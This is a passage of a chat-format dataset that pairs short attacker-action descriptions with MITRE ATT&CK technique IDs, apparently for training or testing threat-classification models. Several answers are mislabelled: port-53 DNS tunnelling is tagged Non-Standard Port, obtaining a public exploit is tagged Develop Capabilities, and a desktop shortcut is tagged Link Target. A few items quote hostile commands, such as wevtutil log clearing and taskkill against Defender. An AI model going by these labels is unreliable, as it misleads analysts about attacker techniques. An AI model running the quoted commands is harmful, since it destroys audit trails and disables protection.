                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor forces the application to use a deprecated RC4 cipher by tampering with OpenSSL settings."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan encrypts harvested credentials and exfiltrates them in batches through DNS tunneling every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant waits for a USB drive to be attached, then encrypts and copies all documents to it."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a sniffing script, the adversary collects ARP traffic to discover network topology."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service uses launchd to spawn a hidden process that communicates with a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious script into a directory that precedes the intended program in the PATH environment variable, the adversary takes advantage of an unquoted command line to hijack execution."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the system's interrupt descriptor table, the malware ensures that any interrupt meant to stop it is ignored."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a custom DLL into svchost.exe to gain elevated privileges on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a keylogger, the threat actor captures user passwords typed into web browsers."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a malicious .desktop file to the user's ~/.config/autostart directory to execute their payload each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses AWS API calls to spin up a new EC2 instance, installing malicious software during initialization."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks the update mechanism of a popular software development tool, delivering a malicious update that installs a persistent remote access trojan on developers' machines."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code contains a hidden check that reads the system's uptime; if the uptime is less than five minutes, indicating a fresh VM, the code goes dormant."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a deterministic function to create domain names and performs DNS lookups to find its command server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected via an Application Compatibility Shim, hooking the target program's execution flow to run the attacker’s payload."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script encoded exfiltrated data and posted it to a private Azure Blob Storage container through REST calls."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection, the malware invoked \"wevtutil cl Setup\" to erase the Setup log, covering its installation steps."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers tamper with the Secure Boot policy to allow unsigned bootloaders."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed command strings in the metadata of PDF files hosted on a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor configures a Kubernetes Job with a backoff limit that ensures the malicious task persists despite failures."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the net-snmp toolkit, the threat actor performed a bulk MIB dump from the victim's network devices."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Criminal modifies in-memory encryption keys used by a banking application to intercept transactions."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts accessed a corporate LDAP directory to enumerate user accounts and export attributes."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to open remote PowerShell sessions over Microsoft Graph API, providing cloud-based remote control."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a .vbs file to perform lateral movement by invoking WMI commands on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit creates a rogue COM object and uses the CoGetClassObject API to communicate with a victim process, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query public GitHub repositories for files containing AWS access keys using keywords like \"aws_access_key_id\" and \"aws_secret_access_key\"."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script repeatedly invokes a cryptographic signing routine on a vulnerable application, leading to CPU exhaustion on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious XSL script is incorporated into an XML payload, and when the server processes the XSL, it executes the embedded malicious code."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor searches for configuration files in the system's C:\\Windows\\ directory and uploads them to the command server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised third‑party cloud service to temporarily store data."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set executes a batch file that calls net user /delete to remove targeted user accounts."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script in an HTML document utilizes the decodeURIComponent function to transform URL‑encoded data into a PowerShell script, enabling execution after download."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the initial encrypted socket connection is disrupted, the malware falls back to using a Telegram bot for control messages."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Windows command shell to disable security tools by running \"taskkill /F /IM MsMpEng.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware’s command‑and‑control module receives commands that are XOR‑encrypted and decodes them before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the ptrace system call to attach to a running process, inject malicious code, and execute it within the context of the target."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects commands into a public messaging webhook, using the web service as a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor intercepts the RDP traffic and reuses the session ID to take over the remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s extension steals session tokens from web applications and forwards them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool contacts a remote web service that acts as a dead‑drop resolver, extracting base64‑encoded commands hidden in HTTP response headers."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious code into the UEFI firmware, allowing persistent execution before the operating system boots."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a flawed authentication module to cause the system login process to hang, resulting in a DoS condition."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the BIOS firmware to render the machine inoperable."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises involve spawning services in unsupported cloud regions to test detection capabilities."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom implant routes its command traffic through port 53 UDP, encapsulating commands in DNS queries to stay under the radar."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's DNS infrastructure uses fast-flux to distribute malicious payload delivery across a botnet."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat used the legitimate Windows connection manager service (CMSTP) to proxy execution of a backdoor, exploiting the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan reads the SQLite database used by a password manager to store login information, then sends the contents to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase a dedicated physical server from a hosting provider to establish a persistent command and control node."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker directly calls Windows native API functions to execute payloads, bypassing standard command-line tools."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor patches the Linux initramfs with hidden code to gain persistence after reboots."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using phishing, the threat actor tricks users into entering their MFA push notification approval, allowing credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a known vulnerability in a media player, the attacker causes the program to execute a malicious DLL without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor tweaks registry permissions on HKLM\\Software\\Policies\\Microsoft\\WindowsFirewall to disable the firewall and allow traffic through."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a shortcut (.lnk) on the victim's desktop that points to a malicious executable hosted on a remote server, causing the payload to run when the user clicks the link."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stages data in the system’s temporary directory, then uses a malicious PowerShell one-liner to transfer it via HTTP POST to an external endpoint."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquires a proof‑of‑concept exploit for a critical database service and integrates it into their ransomware framework."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used the \"logrotate\" utility with the \"--force\" option to truncate Mac system logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privileged firmware flashing tool, the operator implants a custom bootloader that runs prior to OS initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a staging folder on the victim's desktop to accumulate stolen data."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a DLL injection technique to inject malicious code into a legitimate process on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators create a firewall exception that permits all traffic on port 443, effectively bypassing firewall restrictions."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs a DGA that incorporates the victim's hostname and a counter to produce unique domain names for contacting its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a Python script that reads the /Applications folder on macOS to enumerate all installed applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By enumerating /proc/[pid]/maps and reading the corresponding memory regions, the threat actor extracts credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious caller impersonates a senior manager and asks the employee to send confidential files via email after confirming their login."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises the service registry permissions, then writes a malicious binary path to the service’s ImagePath, causing the service to launch the payload on restart."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable WordPress plugin to install a Python web shell, which they later used to enumerate system files and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised admin portal, the malicious actor runs a SQL query against the mail server database to enumerate email accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary escalates privileges by exploiting a bug in sudo that allows bypassing the authentication prompt."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a known vulnerability in a public‑facing web server to execute arbitrary code and gain system access."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor registers a new WHOIS privacy‑protected domain to hide their identity while planning attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious .msi that is registered as a file association, causing it to execute when a user opens a related file type."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the adversary altered file permissions on a critical executable, removing the \"Read\" restriction for a newly created service account."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
